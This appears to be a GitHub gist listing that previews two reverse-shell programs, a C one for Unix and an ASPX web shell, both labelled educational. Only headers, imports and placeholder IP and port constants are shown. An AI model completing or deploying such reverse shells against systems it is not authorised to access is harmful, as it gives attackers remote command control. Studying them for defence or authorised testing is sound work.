Skip to content

Instantly share code, notes, and snippets.

@qtc-de
qtc-de / unix-reverse-shell.c
Last active January 30, 2022 15:26
Simple Unix reverse shell. For educational purposes only!
/*
* Simple Unix reverse shell. For educational purposes only!
*
* Compile with:
* $ gcc unix-reverse-shell.c -o shell
*/
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
@qtc-de
qtc-de / aspx-reverse-shell.aspx
Last active January 30, 2022 15:27
Simple reverse shell for ASPX. Created a long time ago and now finally saved in this gist as a backup. For educational purposes only!
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
// Simple reverse shell for ASPX. For educational purposes only!
const string IP = "<IP>";
const ushort PORT = <PORT>;